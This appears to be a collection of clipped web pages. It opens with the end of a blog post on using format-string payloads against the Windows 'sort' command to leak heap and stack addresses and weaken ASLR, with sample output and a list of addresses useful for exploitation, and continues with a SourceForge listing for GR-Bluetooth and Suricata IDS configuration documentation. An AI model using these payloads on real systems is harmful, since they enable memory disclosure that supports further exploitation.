\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

35
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

36
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

37
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

38
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

39
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3A
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3B
\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3C \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3D \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3E \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

3F \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

40 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

41 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

42 \#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#\#

43 \#\#\#\#\#\#\#\#\#\#\#\#\#

44 \#\#\#\#\#\#\#\#\#\#

45 \#\#\#\#\#\#\#\#

46 \#\#\#\#\#\#\#

47 \#\#\#\#\#\#

48 \#\#\#\#

49 \#\#

  

Most frequently used address: 0x0035XXXX

Times used: 331

  

As indicated in this beautiful ASCII bar graph, ASLR clearly favors some
adresses over others. This lack of entropy \(5-6 bits according to this data\)
would also indicate that these are heap addresses. Ollie Whitehouse wrote an
excellent paper\[2\] on the analysis of ASLR in Vista so I will keep my
entropy analysis short and sweet.

  

To demonstrate the weakness of ASLR in the heap, I'll show that within several
attempts, one can read arbitrary data from the heap. As an example, I will
read a portion of the environment variables stored in the heap \(in unicode\).
The environment variables are generally stored in the same area relative to
their allocated page in memory. Since we know an address in the heap - the
format string pointer and a likely value for the second byte in the address,
we should be able to read memory given enough tries. My format string is set
up in the following manner:

  

sort AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%pZZCBA

  

By changing the last format specifier \(%p\) to %ls, I can dereference
0x00414243 as a wide string \(note little-endianness\). I want to dereference
a likely heap address though. A portion of the environment variables are
usually stored in the vicinity of 0x00XX0E30. I'll go with 2E for the 2nd byte
because I'm feeling lucky. To deference 0x002E0E30, the format string will
have to be updated:

  

sort AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p:%ls0^N.

where ^N can be entered by pressing ALT-014

  

Note that this will likely crash several times since you may be dereferencing
unallocated memory. However, after 14 trials, a portion of the path variable
was revealed:

  

C:\>sort AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p:%ls0^N.

AAAA761A35D9000000000000000000000000002E48200000002B414141417025702570257025702570257025702570257025702570257025702570257025736C253:**\windows\System32\W**

**indowsPowerShell\v1.0\;C:\PROGRA~1\DISKEE~1\DISKEE~1\;C:\Program
Files\QuickTime\QTSystem\;C:\Program Files\Windows Imaging\0♫**.The system
cannot find

the file specified.

  

Is this useful? Probably not. I merely chose this example to demonstrate the
weakness of ASLR in the heap.

  

So now that heap addresses have been located, what about stack addresses? The
following, gargantuan format string will shed some light on this:

  

  

  

It would appear as if there are some saved frame pointers, function arguments,
local variables, and return pointers here. Let's do some more analysis to be
more certain:

  

I ran the above command 20 times and truncated everything but a portion of the
lower part of the stack, which yielded the following:

  

:00000081:00**11EC04** :000000CB:00010000:00010580:00**11EC04**
:77B46FEA:77B47026:79**16B8C8** :00010000:...  
:00000081:00**1AE7C0** :000000CB:00010000:00010580:00**1AE7C0**
:77B46FEA:77B47026:79**1DB34A** :00010000:...  
:00000081:00**18EB10** :000000CB:00010000:00010580:00**18EB10**
:77B46FEA:77B47026:79**1FBFA9** :00010000:...  
:00000081:00**12E614** :000000CB:00010000:00010580:00**12E614**
:77B46FEA:77B47026:79**15B27C** :00010000:...  
:00000081:00**1FEAB4** :000000CB:00010000:00010580:00**1FEAB4**
:77B46FEA:77B47026:79**18BE92** :00010000:...  
:00000081:00**15E780** :000000CB:00010000:00010580:00**15E780**
:77B46FEA:77B47026:79**12B055** :00010000:...  
:00000081:00**18E608** :000000CB:00010000:00010580:00**18E608**
:77B46FEA:77B47026:79**1FB18C** :00010000:...  
:00000081:00**0DEC88** :000000CB:00010000:00010580:00**0DEC88**
:77B46FEA:77B47026:79**0ABB3B** :00010000:...  
:00000081:00**09EB10** :000000CB:00010000:00010580:00**09EB10**
:77B46FEA:77B47026:79**0EBC61** :00010000:...  
:00000081:00**18EB18** :000000CB:00010000:00010580:00**18EB18**
:77B46FEA:77B47026:79**1FBC38** :00010000:...  
:00000081:00**0BE71C** :000000CB:00010000:00010580:00**0BE71C**
:77B46FEA:77B47026:79**0CB1D3** :00010000:...  
:00000081:00**0BE8F4** :000000CB:00010000:00010580:00**0BE8F4**
:77B46FEA:77B47026:79**0CBE79** :00010000:...  
:00000081:00**12E954** :000000CB:00010000:00010580:00**12E954**
:77B46FEA:77B47026:79**15BFE8** :00010000:...  
:00000081:00**0AE8D8** :000000CB:00010000:00010580:00**0AE8D8**
:77B46FEA:77B47026:79**0DBEB3** :00010000:...  
:00000081:00**1CEA90** :000000CB:00010000:00010580:00**1CEA90**
:77B46FEA:77B47026:79**1BBCB9** :00010000:...  
:00000081:00**08E4F4** :000000CB:00010000:00010580:00**08E4F4**
:77B46FEA:77B47026:79**0FBD2C** :00010000:...  
:00000081:00**1EEA1C** :000000CB:00010000:00010580:00**1EEA1C**
:77B46FEA:77B47026:79**19B39B** :00010000:...  
:00000081:00**0EE95C** :000000CB:00010000:00010580:00**0EE95C**
:77B46FEA:77B47026:79**09B1AD** :00010000:...  
:00000081:00**19E7F8** :000000CB:00010000:00010580:00**19E7F8**
:77B46FEA:77B47026:79**1EBF57** :00010000:...  
:00000081:00**0BE574** :000000CB:00010000:00010580:00**0BE574**
:77B46FEA:77B47026:79**0CBD2A** :00010000:...

  

Look at the dwords 2, 6, and 9. The last 6 bytes are different after each run.
This result is consistant with the ASLR implementation of 14 bits of entropy
in the stack. So now we've positively identified heap, and stack addresses
\(process or thread\). Now, notice dwords 7-8. The addresses do not change and
they are consistant with addresses to loaded modules. To prove this, if you
rebooted, and analyzed the same portion of the stack, the addresses would be
different since loaded modules are only randomized after reboots.

  

**Conclusion:**

  

With just a little bit of context, you can easily infer the type of data/code
on the stack. In fact, ASLR actually helps in determining the difference
between the stack, heap, PEB, and image base \(loaded module code\) due to the
difference in entropy bits.

  

This serves as an example where memory leaks coupled with memory corruption
despite modern exploit mitigations will very likely lead to code execution. In
the context of a format string vulnerability, even if %n is disabled, at the
very minimum, shellcode can be placed into memory via the format string. Given
any combination of vulnerabilties, the exploitation possibilities are
numerous. However, increasingly, with all the modern exploit mitigations,
exploitation is becoming very application-specific.

  

As a refresher here are some useful addresses in memory can help lead to code
execution:

  * FS:\[0\] - Pointer to the SEH chain
  * FS:\[30\] - Pointer to the PEB
  * Executable's .data + 4 offset: master GS cookie
  * PEB+20: FastPEBLock pointer
  * PEB+24: FastPEBUnlock
  * Stack return pointers: duh
  * Function pointers
  * C++ Vtables

  

Links for reference:

  

1\. Microsoft, "Format Specification Fields: printf and wprintf Functions,"
http://msdn.microsoft.com/en-us/library/56e442dc.aspx

  

2\. O. Whitehouse, "An Analysis of Address Space Layout Randomization on
Windows Vista™," 2007,
http://www.symantec.com/avcenter/reference/Address\_Space\_Layout\_Randomization.pdf

  

3\. P. Haas, "Advanced Format String Attacks," 2010,
http://defcon.org/images/defcon-18/dc-18-presentations/Haas/DEFCON-18-Haas-
Adv-Format-String-Attacks.pdf

# Browse GR-Bluetooth Files on SourceForge.net

**Created:**| _8/3/2010 7:58:48 AM_  
---|---  
**Updated:**| _8/3/2010 7:59:56 AM_  
**Author:**| _wishi_  
**Tags:**| _bookmark research USRP_  
  

GR-Bluetooth

#### prealpha

by dspill, ossmann

  * Summary
  * Files
  * Support
  * Develop

* * *
An implementation of the Bluetooth baseband layer for GNU Radio for
experimentation and teaching students about Software Defined Radio, it should
not be used for Bluetooth communications as it is not a complete software
stack.

**Download Now\!** gr-bluetooth-0.4.tar.gz \(2.0 MB\) OR View all files

## Browse Files for GR-Bluetooth

File/Folder Name  | Platform | Size | Date ↓ | Downloads | Notes/Subscribe  
---|---|---|---|---|---  
Newest Files  
gr-bluetooth-0.4.tar.gz | | 2.0 MB | 2010-02-06 | 240 |   
All Files | Subscribe  
gr-bluetooth | | 3.5 MB | 2010-02-06 | 795 | Subscribe Folder view  
0.4 | | 2.0 MB | 2010-02-06 | 240 | Subscribe Folder view  
gr-bluetooth-0.4.tar.gz | | 2.0 MB | 2010-02-06 | 240 |   
0.3 | | 662.6 KB | 2009-08-18 | 292 | Subscribe Folder view  
gr-bluetooth-0.3.tar.gz | | 662.6 KB | 2009-08-18 | 292 |   
0.2 | | 861.3 KB | 2009-02-04 | 263 | Subscribe Folder view  
gr-bluetooth-0.2.tar.gz | | 861.3 KB | 2009-02-04 | 263 | Release Notes  
Samples | | 25.1 MB | 2009-02-04 | 209 | Subscribe Folder view  
1 | | 25.1 MB | 2009-02-04 | 209 | Subscribe Folder view  
gr-bluetooth-samples.tar.gz | | 25.1 MB | 2009-02-04 | 209 | Release Notes  
#### About SourceForge

  * About SourceForge
  * Contact Us
  * Jobs @ Geeknet
  * Advertising

#### Find Software

  * Search Software
  * Browse by Category
  * Most Popular Overall
  * Most Active Overall

#### Develop Software

  * Create Project
  * Project Help Wanted
  * New Projects

#### Community

  * The Blog
  * @sourceforge on Twitter

#### Help

  * Site Documentation
  * Submit Support Requests
  * Site Outages

© 2010 Geeknet, Inc. Terms of Use Privacy Policy

<img src='img/p-93nPV3-Eb4x22.gif' width='1' height='1' alt='Quantcast' /><img
src='img/p?c1=2&c2=6035546&c3=&c4=&c5=&c6=&c15=&cj=1.gif' alt='comScore2' />

# Suricata - Suricatayaml - Open Information Security Foundation

**Created:**| _11/6/2010 10:07:41 PM_  
---|---  
**Updated:**| _11/6/2010 10:07:58 PM_  
**Author:**| __  
**Tags:**| _bookmark setup security tools iDS/iPS_  
  

# Suricata.yaml

Suricata uses the Yaml format for configuration. The Suricata.yaml file
included in the source code, is the example configuration of Suricata. This
document will explain each option.

At the top of the YAML-file you will find % YAML 1.1. Suricata reads the file
and identifies the file as YAML.

**Max-pending-packets**

With the max-pending-packets setting you can set the number of packets you
allow Suricata to process simultaneously.  
This can range from one packet to tens of thousands/hundreds of thousands of
packets.  
It's a trade of higher performance and the use of more memory \(RAM\), or
lower performance and less use of memory. A high number of packets being
processed results in a higher performance and the use of more memory. A low
number of packets, results in lower performance and less use of memory.  
Choosing a low number of packets being processed while having many CPU's/CPU
cores, can result in not making use of the whole computer-capacity. \(For
instance: using one core while having three waiting for processing packets.\)  
max-pending-packets: 50

**Action-order**

All signatures have different properties. One of those is the Action property.
This one determines what will happen when a signature matches.  
There are four types of Action. A summary of what will happen when a signature
matches and contains one of those Actions:

1\)Pass  
If a signature matches and contains pass, Suricata stops scanning the packet
and skips to the end of all rules \(only for the current packet\).

2\)Drop  
This only concerns the IPS/inline mode.  
If the program finds a signature that matches, containing drop, it stops
immediately. The packet will not be send any further.  
Drawback: The receiver does not receive a message of what is going on,
resulting in a time-out \(certainly with TCP\). Suricata generates an alert
for this packet.

3\)Reject  
This is an active rejection of the packet. Both receiver and sender receive a
reject packet. There are two types of reject packets that will be
automatically selected. If the offending packet concerns TCP, it will be a
Reset-packet. For all other protocols it will be a ICMP-error packet. Suricata
also generates an alert. When in Inline/IPS mode, the offending packet will
also be dropped like with the 'drop' action.

4\)Alert  
If a signature matches and contains alert, the packet will be treated like any
other non-threatening packet, except for this one an alert will be generated
by Suricata. Only the system administrator can notice this alert.

Inline/IPS can block network traffic in two ways. One way is by drop and the
other by reject.

Rules will be loaded in the order of which they appear in files. But they will
be processed in a different order. Signatures have different priorities. The
most important signatures will be scanned first. There is a possibility to
change the order of priority. The default order is: pass, drop, reject, alert.

[code]

    action-order: 
     - pass
     - drop
     - reject
     - alert
    
    
[/code]

This means a pass rule is considered before a drop rule, a drop rule before a
reject rule and so on.

**Event output**

**Default logging directory**

In the /var/log/suricata directory, all of Suricata's output \(alerts and
events\) will be stored. This directory can be overridden by entering the -l
command line parameter or by changing the directory directly in Yaml. To
change it with the -l command line parameter, enter the following:

[code]

    suricata -c suricata.yaml -i eth0 -l /var/log/suricata-logs/
    
[/code]

[code]

    default-log-dir: /var/log/suricata
    
[/code]

**Outputs**  
There are several types of output. The general structure is:

[code]

    outputs:
     -fast:
        enabled: yes
        filename: fast.log
    
    
[/code]

**1\)Line based alerts log \(fast.log \)**  
This log contains alerts consisting of a single line.  
Example of the appearance of a single fast.log-file line:

[code]

    10/05/10-10:08:59.667372  [**] [1:2009187:4] ET WEB_CLIENT ACTIVEX iDefense
      COMRaider ActiveX Control Arbitrary File Deletion [**] [Classification: Web
      Application Attack] [Priority: 3] {TCP} xx.xx.232.144:80 -> 192.168.1.4:56068
    
    
[/code]

[code]

    -fast:                    The log-name.
       enabled:yes            This log is enabled. Set to 'no' to disable.
       filename: fast.log     The name of the file in the default logging directory.
    
    
    
[/code]

**2\)Log output for use with Barnyard \(unified.log\)**  
This log only supports IPv4. Its information will be stored in the default
logging directory.  
This log is designed to be stored in a binary format on the hard disc, where
it will be further processed by Barnyard. Barnyard can store the output in a
database, so Suricata can work on other important tasks.  
Barnyard can add the files in the Mysql-database, send them to Sguil or
several other output options.

There is a size-limit to the log-file:  
If Suricata generates an alert, it stores this alert in a unified-file.
Suricata keeps continuing doing that, until the file has reached its limit.
Which in the default case is at 32 MB. At that point Suricata generates a new
file and the process starts all over again.Barnyard keeps on processing these
files.  
To prevent Suricata from filling up the hard disc, a size limit is enforced.
When the limit is reached,the file will 'role-over', creating a new file.
Barnyard removes old files.  
To every file, Suricata adds a time stamp, so it easy to see which one came
first and which one is the latter.

[code]

    -Unified-log:                     The log-name.
       enabled: no                    This log is not enabled. Set 'yes' to enable.
       filename: unified.log          The name of the file in the default logging directory.
       limit: 32                      The file size limit in megabytes.
    
    
[/code]

**3\)Alert output for use with Barnyard \(unified.alert\)**  
This log only supports IPv4. Its information will be stored in the default
logging directory.  
For further information read the above information about \( 2\) unified.log\)  

[code]

    -Unified-alert:                 The log-name.
       enabled: no                  This log is not enabled. Set 'yes' to enable.
       filename: unified.alert      The name of the file in the default logging directory.
       limit: 32                    The file size limit in megabytes.
    
    
[/code]

**4\)Alert output for use with Barnyard2 \(unified2.alert\)**  
This log also supports Ipv6 in addition to IPv4. It's information will be
stored in the default logging directory.  
For further information read the above information about 2. unified.log.

[code]

    - unified2-alert:               The log-name.
        enabled: yes                This log is enabled. Set 'no' to disable.
        filename: unified2.alert    The name of the file in the default logging directory.
        limit: 32                   The file size limit in megabytes. 
    
    
    
[/code]

This alert output needs Barnyard2.

**5\)A line based log of HTTP requests \(http.log\)**  
This log keeps track of events happening in the HTTP-traffic. It contains the
HTTP request, the host-name, URI and the user-agent. This information will be
stored as a http.log file in the default logging directory.

Example of the appearance of a single HTTP-log file line:

[code]

    09/09/10-06:45:20.322315 www.nu.nl [**] / [**] Mozilla/5.0 (X11; U;Linux i686; en-US; rv:1.9.2.9)Gecko/20100825 Ubuntu/9.10 (karmic)Firefox/3.6.9 [**] 192.168.1.4:34138 -> 62.69.179.197:80
    
    
[/code]

[code]

    - http-log:                     The log-name.
        enabled: yes                This log is enabled. Set 'no' to disable.
        filename: http.log          The name of the file in the default logging directory.    
    
    
    
[/code]

**6\)A full alerts log \(alert-debug.log\)**  
This is a log type that gives supplementary information about an alert. It is
particularly convenient for people who investigate false positives and who
write signatures. However, it lowers the performance because of the amount of
information it has to store.

[code]

    - alert-debug:                  The log-name.
        enabled: no                 This log is not enabled. Set 'yes' to enable.
        filename: alert-debug.log   The name of the file in the default logging directory.    
    
    
    
[/code]

**7\)Alert output to prelude \(alert-prelude\)**

To be able to use this type, you have to connect with the prelude manager
first.

[code]

    - alert-prelude:                The log-name.
         enabled: no                This log is not enabled. Set 'yes' to enable. 
         profile: suricata
    
    
    
[/code]

Enabling all of the logs, will result in a much lower performance and the use
of more disc space, so enable only the outputs you need.

**Defrag**

Occasionally network packets appear fragmented. On some networks it occurs
more often than on others. Fragmented packets exist of many parts. Before
Suricata is able to inspect these kind of packets accurately, the packets have
to be reconstructed. This will be done by a component of Suricata; the
defragment-engine. After a fragmented packet is reconstructed by the
defragment-engine, the engine sends on the reassembled packet on to rest of
Suricata.

There are three options within defrag: max-frags, prealloc and timeout.  
At the moment Suricata receives a fragment of a packet, it keeps in memory
that other fragments of that packet will appear soon to complete the packet.
However, there is a possibility that one of the fragments does not appear. To
prevent Suricata for keeping waiting for that packet \(thereby using memory\)
there is a timespan after which Suricata discards the fragments. This occurs
by default after 60 seconds.

[code]

    defrag: 
      max-frags: 65535 
      prealloc: yes 
      timeout: 60
    
    
[/code]

**Threshold-file**

Within this option, you can state the directory in which the threshold-file
will be stored. The default directory is:  
/etc/suricata/threshold.config

**Detection engine**

The detection-engine builds internal groups of signatures. Suricata loads
signatures, with which the network traffic will be compared. The fact is, that
many rules certainly will not be necessary. \(For instance: if there appears a
packet with the UDP-protocol, all signatures for the TCP-protocol won't be
needed.\)  
For that reason, all signatures will be divided in groups. However, a
distribution containing many groups will make use of a lot of memory. Not
every type of signature gets its own group. There is a possibility that
different signatures with several properties in common, will be placed
together in a group.  
The quantity of groups will determine the balance between memory and
performance. A small amount of groups will lower the performance yet uses
little memory. The opposite counts for a higher amount of groups. The engine
allows you to manage the balance between memory and performance. To manage
this, \(by determining the amount of groups\) there are several general
options:high for good performance and more use of memory, low for low
performance and little use of memory. The option medium is the balance between
performance and memory usage. This is the default setting.The option custom is
for advanced users. This option has eight values which can be managed by the
user.

[code]

    detect-engine:    
       -profile: medium         The balance between performance and memory usage. This is the default setting.
       - custom-values: 
           toclient_src_groups: 2 
           toclient_dst_groups: 2 
           toclient_sp_groups: 2 
           toclient_dp_groups: 3 
           toserver_src_groups: 2 
           toserver_dst_groups: 4 
           toserver_sp_groups: 2 
           toserver_dp_groups: 25
    
    
[/code]

At all of these options, you can add \(or change\) a value.  
Most signatures have the adjustment to focus on one direction, meaning
focusing exclusively on the server, or exclusively on the client.

Example 1 Detection-engine grouping tree

[code]

    src             Stands for source IP-address.
    dst             Stands for destination IP-address.
    sp              Stands for source port.
    dp              Stands for destination port.
    
    
[/code]

**Threading**

Suricata is multi-threaded. Suricata uses multiple CPU' s/CPU cores so it can
process a lot of network packets simultaneously. \(In a single-core engine,
the packets will be processed one at a time.\)

There are four thread-modules: Packet acquisition, decode, stream application
layer, detect and outputs.  
The packet acquisition module reads packets from the network. The decode
module decodes the packets, and the stream application layer has three tasks:
First, it performs stream-tracking, meaning it is making sure all steps will
be taken to make a correct network-connection. Second: TCP-network traffic
comes in as packets. The Stream-Assembly engine reconstructs the original
stream.  
Finally, the application layer will be inspected. HTTP and DCERPC will be
analyzed.  
The detection threads will compare signatures. There can be several detection
threads so they can operate simultaneously. In Outputs all alerts and events
will be processed.

Example 2 Threading

[code]

    Paq :                           Packet acquisition.
    Decode:                         Decodes packets.
    Stream app. Layer:              Performs stream-tracking and reassembly.
    Detect:                         Compares signatures.
    Outputs:                        Processes all events and alerts.
    
    
[/code]

Most computers have multiple CPU's/ CPU cores. By default the operating system
determines which core works on which thread. When a core is already occupied,
another one will be designated to work on the thread. So, which core works on
which thread, can differ from time to time.

There is an option within threading:  

[code]

    set_cpu_affinity: no
    
    
[/code]

With this option you can cause Suricata setting fixed cores for every thread.  
In that case 1, 2 and 4 are at core 0 \(zero\).  
Each core has its own detect thread. The detect thread running on core 0 has a
lower priority than the other threads running on core 0. If these other cores
are to occupied, the detect thread on core 0 has not much packets to process.
De detect threads running on other cores will process more packets.  
This is only the case after setting the option at 'yes'.

Example 3 Balancing workload

You can set the detect thread-ratio:

[code]

    detect thread-ratio: 1.5
    
    
[/code]

The detect thread-ratio will determine the amount of detect threads. By
default it will be 1.5 x the amount of CPU's/CPU cores present at your
computer. This will result in having more detection threads then CPU's/ CPU
cores. Meaning you are oversubscribing the amount of cores. This may be
convenient at times when there have to be waited for a detection thread. The
remaining detection thread can become active.

**CUDA \(Compute United Device Architecture\)**

Suricata utilizes CUDA for offloading heavy tasks to the \(NVIDIA\) GPU
\(graphics processing unit\). Suricata supports an experimental multi-pattern-
matcher using CUDA.  
Only if you have compiled Suricata with CUDA \(by entering --enable\_cuda in
the configure stage\) you can make use of these features.  
There is an option within CUDA to determine which GPU should be turned to
account:

[code]

    cuda: 
      device_id: 0
    
    
[/code]

\(If there is only one GPU present at your computer, there is no benefit
making use of this option.\)  
To detect the id of your GPU's, enter the following in your command line:

[code]

    suricata --list-cuda-cards
    
    
[/code]

**Pattern-matcher settings**

The multi-pattern-matcher is a part of the detection engine within Suricata
that searches for multiple patterns at once. Generally, signatures have one
ore more patterns. Of each signature, one pattern is used by the multi-
pattern-matcher. That way Suricata can exclude many signatures from being
examined, because a signature can only match when all its patterns match.  
These are the proceedings:  
1\)A packet comes in.  
2\)The packed will be analyzed by the Multi-pattern-matcher in search of
patterns that match.  
3\)All patterns that match, will be further processed by Suricata
\(signatures\).

Example 4 Multi-pattern-matcher

Suricata offers various implementations of different multi-pattern-matcher
algorithm's. These can be found below.

To set the multi-pattern-matcher algorithm:

[code]

    mpm-algo: b2gc
    
    
[/code]

After 'mpm-algo', you can enter one of the following algorithms: b2g, b2gc,
b2gm, b3g and wumanber.

Subsequently, you can set the options for the mpm-algorithm's.

The hash\_size option determines the size of the hash-table that is internal
used by the pattern matcher. A low hash-size \(small table\) causes lower
memory usage, but decreases the performance. The opposite counts for a high
hash-size: higher memory usage, but \(generally\) higher performance. The
memory settings for hash size of the algorithms can vary from lowest \(2048\)
- low \(4096\) - medium \(8192\) - high \(16384\) - higher \(32768\) – max
\(65536\). \(Higher is 'highest' in YAML 1.0 -1.0.2\)

The bf\_size option determines the size of the bloom filter, that is used with
the final step of the pattern matcher, namely the validation of the pattern.
For this option the same counts as for the hash-size option: setting it to low
will cause lower memory usage, but lowers the performance. The opposite counts
for a high setting of the bf\_size: higher memory usage, but \(generally\)
higher performance.  
The bloom-filter sizes can vary from low \(512\) - medium \(1024\) - high
\(2048\).

[code]

    pattern-matcher: 
      - b2gc:
          search_algo: B2gSearchBNDMq 
          hash_size: low                    Determines the size of the hash-table.
          bf_size: medium                   Determines the size of the bloom- filter.
      - b3g: 
          search_algo: B3gSearchBNDMq 
          hash_size: low                    See hash-size -b2gc.
          bf_size: medium                   See bf-size -b2gc.
      - wumanber: 
          hash_size: low                    See hash-size -b2gc.
          bf_size: medium                   See bf-size -b2gc.
    
    
[/code]

**Flow Settings**

Within Suricata, Flows are very important. They play a big part in the way
Suricata organizes data internally. A flow is a bit similar to a connection,
except a flow is more general.All packets having the same Tuple \(protocol,
source IP, destination IP, source-port, destination-port\), belong to the same
flow. Packets belonging to a flow are connected to it internally.  
Example 5 Flow

Example 6 Tuple

Keeping track of all these flows, uses memory. The more flows, the more memory
it will cost.

To keep control over memory usage, there are several options:  
The option memcap for setting the maximum amount of bytes the flow-engine will
use, hash-size for setting the size of the hash-table and prealloc for the
following:  
For packets not yet belonging to a flow, Suricata creates a new flow. This is
a relative expensive action. The risk coming with it, is that attackers
/hackers can a attack the engine system at this part. When they make sure a
computer gets a lot of packets with different tuples, the engine has to make a
lot of new flows. This way, an attacker could flood the system. To mitigate
the engine from being overloaded, this option instructs Suricata to keep a
number of flows ready in memory. This way Suricata is less vulnerable to these
kind of attacks.

The flow-engine has a management thread that operates independent from the
packet processing. This thread is called the flow-manager. This thread ensures
that wherever possible and within the memcap. there will be 10000 flows
prepared.

[code]

    flow: 
      memcap: 33554432              The maximum amount of bytes the flow-engine will make use of.
      hash_size: 65536              Flows will be organized in a hash-table. With this option you can set the size of the hash-table.
      Prealloc: 10000               The amount of flows Suricata has to keep ready in memory.
    
    
[/code]

At the point the memcap will still be reached, despite prealloc, the flow-
engine goes into the emergency-mode. In this mode, the engine will make use of
shorter time-outs. It lets flows expire in a more aggressive manner so there
will be more space for new Flows.  
There are two options: emergency\_recovery and prune\_flows. The emergency
recovery is set on 30. This is the percentage of prealloc'd flows after which
the flow-engine will be back to normal \(when 30 percent of the 10000 flows is
completed\).  
If during the emergency-mode, the aggressive time-outs do not have the desired
result, this option is the final resort. It ends some flows even if they have
not reached their time-outs yet. The prune-flows option shows how many flows
there will be terminated at each time a new flow is set up.

[code]

    emergency_recovery: 30                  Percentage of 1000 prealloc'd flows.
    prune_flows: 5                          Amount of flows being terminated during the emergency mode.
    
    
    
[/code]

**Flow Time-Outs**

The amount of time Suricata keeps a flow in memory is determined by the Flow
time-out.  
There are different states in which a flow can be. Suricata distinguishes
three flow-states for TCP en two for UDP. For TCP, these are: New, Established
and Closed,for UDP only new and established. For each of these states Suricata
can employ different timeouts.  
The state new in a TCP-flow, means the period during the three way handshake.
The state established is the state when the three way handshake is completed.
The state closed in the TCP-flow: there a several ways to end a flow. This is
by means of Reset or the Four-way FIN handshake.  
New in a UDP-flow: the state in which packets are send from only one
direction.  
Established in a UDP-flow: packets are send from both directions.  
In the example configuration the are settings for each protocol. TCP, UDP,
ICMP and default \(all other protocols\).

[code]

    flow-timeouts: 
    
      default: 
        new: 30                     Time-out in seconds after the last activity in this flow in a New state.
        established: 300            Time-out in seconds after the last activity in this flow in a Established state.
        emergency_new: 10           Time-out in seconds after the last activity in this flow in a New state during the emergency mode.
        emergency_established: 100  Time-out in seconds after the last activity in this flow in a Established state in the emergency mode.
      tcp: 
        new: 60             
        established: 3600 
        closed: 120 
        emergency_new: 10 
        emergency_established: 300 
        emergency_closed: 20 
      udp: 
        new: 30 
        established: 300 
        emergency_new: 10 
        emergency_established: 100 
      icmp: 
        new: 30 
        established: 300 
        emergency_new: 10 
        emergency_established: 100
    
    
[/code]

**Stream-engine**

The Stream-engine keeps track of the TCP-connections. The engine exists of two
parts: The stream tracking- and the reassembly-engine.  
The stream-tracking engine monitors the state of a connection. The reassembly-
engine reconstructs the flow as it used to be, so it will be recognized by
Suricata.

The stream-engine has two memcaps that can be set. One for the stream-
tracking-engine and one for the reassembly-engine.

The stream-tracking-engine keeps information of the flow in memory.
Information about the state, TCP-sequence-numbers and the TCP window. For
keeping this information, it can make use of the capacity the memcap allows.  
TCP packets have a so-called checksum. This is an internal code which makes it
possible to see if a packet has arrived in a good state. The stream-engine
will not process packets with a wrong checksum. This option can be set off by
entering 'no' instead of 'yes'.

The reassembly-engine has to keep packets in memory to be able to make a
reassembled stream. It can make use of the amount of bytes set below.
Reassembling a stream is an expensive operation. In the option depth you can
set the depth \(in a stream\) of the reassembling. By default this is 1MB.

[code]

    stream: 
      memcap: 33554432              Amount of flow-information (in bytes) to keep in memory.
      checksum_validation: yes      Validate packet checksum, reject packets with invalid checksums.
      reassembly:             
        memcap: 67108864            Amount of packets (in bytes) to keep in memory.
        depth: 1048576              The depth of the reassembling.
    
    
[/code]

Example 7 Stream reassembly

**Logging configuration**

The logging subsystem can display all output except alerts and events. It
gives information at runtime about what the engine is doing. This information
can be displayed during the engine startup, at runtime and while shutting the
engine down. For informational messages, errors, debugging, etc.  
The log-subsystem has several log levels:  
Error, warning, informational and debug. Note that debug level logging will
only be emitted if Suricata was compiled with the --enable-debug configure
option.

The first option within the logging configuration is the default-log-level.
This option determines the severity/importance level of information that will
be displayed. Messages of lower levels than the one set here, will not be
shown. The default setting is Info. This means that error, warning and info
will be shown and the other levels won't be.  
There are more levels: emergency, alert, critical and notice, but those are
not used by Suricata yet. This option can be changed in the configuration, but
can also be overridden in the command line by the environment variable:
SC\_LOG\_LEVEL .

[code]

    Logging:
      default-log-level: info         
    
    
    
[/code]

**Default log format**

A logging line exists of two parts. First it displays meta information
\(thread id, date etc.\), and finally the actual log message. Example:

\[27708\] 15/10/2010 -- 11:40:07 - \(suricata.c:425\) <Info> \(main\) – This
is Suricata version 1.0.2

\(Here the part until the – is the meta info, “This is Suricata 1.0.2” is the
actual message.\)

It is possible to determine which information will be displayed in this line
and \(the manner how it will be displayed\) in which format it will be
displayed.  
This option is the so called format string:

[code]

